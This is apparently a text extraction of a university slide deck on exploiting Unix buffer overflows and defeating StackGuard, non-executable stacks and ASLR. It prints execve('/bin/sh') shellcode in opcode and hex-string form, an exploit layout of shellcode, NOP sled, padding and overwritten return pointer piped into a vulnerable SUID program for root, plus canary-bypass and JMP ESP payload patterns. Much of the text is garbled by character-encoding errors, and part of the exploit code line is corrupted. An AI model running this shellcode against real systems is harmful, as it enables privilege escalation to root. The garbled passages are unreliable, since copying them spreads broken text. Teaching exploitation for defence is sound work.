unix application buffer overflow

8/9/2019 Unix Application Buffer Overflow

1/54

UNIX SECURITY

BATTLE OF

PROTECTIONS VS EXPLOITATIONS

Ammarit Thongthua

Mahidol UniversityMaster degree of

Cyber Security and Information Assurance


2/54

AGENDA

Introduction Vulnerable Unix application

Memory Space and Stack Layout

Bufer !er"o#

Unix application $e!er%e En&ineer

S'ell(ode )rotection !% Expliotation Ba%ic Stack #it'out protection * Demo

Bypa%% pa%%#ord protection Exploit to &et root pri!ile&e

Limited Stack Space * Demo

StackGuard +(anary, * DemoNon-Executable-Stack +N., * Demo

Addre%% Space Layout $andomi/ation +ASL$,De0eat #it' %tatic %y%tem library +kernel 1 234325 , * Demo

ASL$ #it' remo!ed Static %y%tem library

De0eat #it' application #rappin& +kernel 67 234325 , * Demo


3/54

VULNE$ABLE UNI. A))LI(A8IN

9a% permi%%ion :root; a% u%er or &roup

SUID or SGID i% %et +Stin& S at e.ecute bit,8'i% 2 criteria pro!ided pri!ile&e e%calation to be

root


4/54

VULNE$ABLE UNI. A))LI(A8IN

U%e !ulnerable input %tandard 0unction Ex< %trcp+,= &et%+,

8'ey make t'e pro&ram can po%%ibly%e&mentation 0ault +bufer o!er"o#,


5/54

MEM$> ADD$ESS AND S8A(?LA>U8

char pw[608];


6/54


0xFFFFFFFF

0x00000000

Code Segment

Data Segment

DSS Segment

Heap

Stack

Char pw[608];

Int i = 0;


7/54


0xFFFFFFFF

0x00000000

Stack Int i = 0;

..

Previous Stacks

Main()


8/54


0xFFFFFFFF

0x00000000

Stack

Char pw[608];

Int i = 0;

..

Previous Stacks

Main()

checkpw()SFP

RP


9/54

BU@@E$ VE$@L

8'e %ituation #'en t'e data t'at input to t'e%y%tem i% lar&er t'an t'e %i/e o0 bufer t'at declare to be u%ed

AAAAAAAAAA....[607 of A].AAA\x00SFP RP

AAAAAAAAAA.[616 of A].AAAAAAAAAAAAAA\x00

SFP =0x41414141

***RP =0x41414141

Segmentation fault

Illegal Instruction

SFP RP

Ex: char pw[608];


10/54

BU@@E$ VE$@L

AAAAAAAAAAAAA.[612 of A].AAAAAAA

SFP =0x41414141

***RP =0x080484c7

Segmentation fault

Illegal Instruction

SFP RP

0x080484c7


11/54

BU@@E$ VE$@L


12/54

BU@@E$ VE$@L

Demo #1

Bypass password protection


13/54

BU@@E$ VE$@L

[Malicious Machine OpCode] + [ PADDING ]

SFP =0x41414141

***RP =0xFBFF0544

0xF

BFF0544

0xFBFF0544

SFP RP

Attacker can control return pointer to run Maliciou%Mac'ine p(ode t'at put to memory +S'ell (ode,3

In%ert %'ell code a% a part o0 input to reduce t'ecomplexity o0 exploitation


14/54

S9ELL (DE

S'ell code i% t'e code t'at attacker #ant t'e%y%tem run in order to operate t'e command a%attacker need +create 0orm a%%embly and con!ert to p(ode

Ex pen port 0or connection to t'at %y%tem #it' root

pri!ile&e Add u%er to t'e %y%tem $un %'ell a% root pri!ile&e

S'ell code i% #ritten a% 9exadecimal 0ormat


15/54

S9ELL (DE

31 c05068 2f 2f 7368 68 2f 62

69 6e89E350 53 89e1 b0 0bcd 80

Assembly Code Op Code

Shell Code

: execve(/bin/sh)


16/54


17/54

'ere can #e &et %'ell code u%e to make exploit3 C (reate your o#n %'ell code +uite take time,

U%e Meta%ploit to &enerate %'ell code

Metepreter

Searc' 0rom internet %'ell-%torm3or&%'ellcode packet%torm%ecurity3com ###3exploit-db3comexploit%

S9ELL (DE


18/54


19/54

E.)LI8 (DE

[Shell Code] + [PADDING make size to 612 ]

SFP =0x41414141

***RP =0xBFFF520

0xBFFF520

SFP RP

Exp = Shellcode + PAD + RP

612 bytes 4 bytes

0xBFFF520


20/54

Shellcode = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

RP = \x20\xf5\x\xbf # 0xB520

Ex! = code $!%&ho' c( )!*+'& ,-528. $ RP

(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((user@host:$ python exp.py | ./vul_app

E.)LI8 (DE


21/54

E.)LI8 (DE

Sometime re%ult o0 our exploit i% cra%' FFF

'at 'appen C

[Shell Code] + [PADDING make size to 612 ]0xBFFF520


22/54

[ Shell Code ] + [ 577 Byte of PADDING ]0xBFFF520

E.)LI8 (DE

[400B. Landing space] +[Shell Code] + [177 B. PADDING ]0xBFFF540

NOP (\x90) = Do nothing


23/54


24/54

E.)LI8 (DE

'en exploit %ucce%%0ully


25/54

BASI( S8A(? I89U8 )$8E(8IN

Demo #2

Exploit to get root privilege


26/54


27/54

LIMI8ED S8A(? S)A(E

***RP =0xBFFFF7B0


28/54


29/54


30/54


31/54


32/54


33/54


34/54

8DA>

Bypa%% limited %tack %pace by ret-2-libc

StackGuard +(anary, and De0eat

Non-Executable-Stack +N., and De0eat

Addre%% Space Layout $andomi/ation +ASL$,De0eat #it' %tatic %y%tem library +kernel 1 234325 ,ASL$ #it' remo!ed Static %y%tem library

De0eat #it' application #rappin& +kernel 67 234325 ,


35/54


36/54


37/54

@ind location o0 :%y%tem; call 0unction

B>)ASS LIMI8ED S8A(? S)A(E B> $E8-2-LIB(


38/54


39/54


40/54


41/54


42/54

@or Null canary and 8erminator canary can bede0eated by :(anary repaired; NULL canary only app u%e &et%+, 0unction

AAAKAAA55555555AAAA$) x5x5x5xS'ellcodex5a

8erminator canary +al#ay% 5x55555af, app u%e &et%+, 0unction app u%e %trcpy+, 0unction and need more t'an O ar&

AAAKAAAAAAA5afAAAA$) x5x5x5xS'ellcode55

BBBKBBBBB55

(((K(((55

AAAKAAA55555afAAAA$) x5x5x5xS'ellcode

S8A(? GUA$D +(ANA$>, DE@EA8

Arg1=

Arg2=

Arg3=


43/54


44/54


45/54


46/54

ADD$ESS S)A(E LA>U8$ANDMIPA8IN +ASL$,

8ec'niue u%e pre!ent an attacker Qumpin&to a particular exploited code in memory byrandom t'e !irtual addre%%in e!ery runtime3


47/54

ADD$ESS S)A(E LA>U8


48/54

$ANDMIPA8IN +ASL$, DE@EA8 ME89D

AAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x[ shell code ].

JMP ESP

esp

I0 S kernel 'a% %ome %tatic lib3 U%e RM) ES)in%truction in t'at %tatic lib to brin& $) to %'ell code

INC EAX ADD EBS, EBP .

ADD$ESS S)A(E LA>U8


49/54

$ANDMIPA8IN +ASL$, DE@EA8 ME89D

I0 S kernel 'a% not %tatic lib= need to #riteapplication to call !ulnerable application to limit random addre%% %pace +App #rap up,

AAAAAAAAAAAAAAAAAAAAAAAAA

RP /x90/x90/x90/x90/x90/x90/x90/x90

/x90/x90/x90/x90/x90/x90/x90/x90/x90

/x90/x90/x90/x90/x[ shell code ]

Check current ESP value

and Set

RP = ESP + [vul app buffer]


50/54


51/54


52/54


53/54

$E@E$EN(E

)rotectin& A&ain%t Addre%% Space Layou$andomi/ation +ASL$, (ompromi%e% and $eturn-to-Libc Attack% U%in& Net#ork Intru%ion Detection Sy%tem%3 Da!id R3 Day= P'en&-.u P'

ao= No!ember 25OO= Volume H= I%%ue J= pp J2-JHT

(o#an= (3 Bufer !er"o# Attack%3StackGuard


54/54

unix application buffer overflow

Documents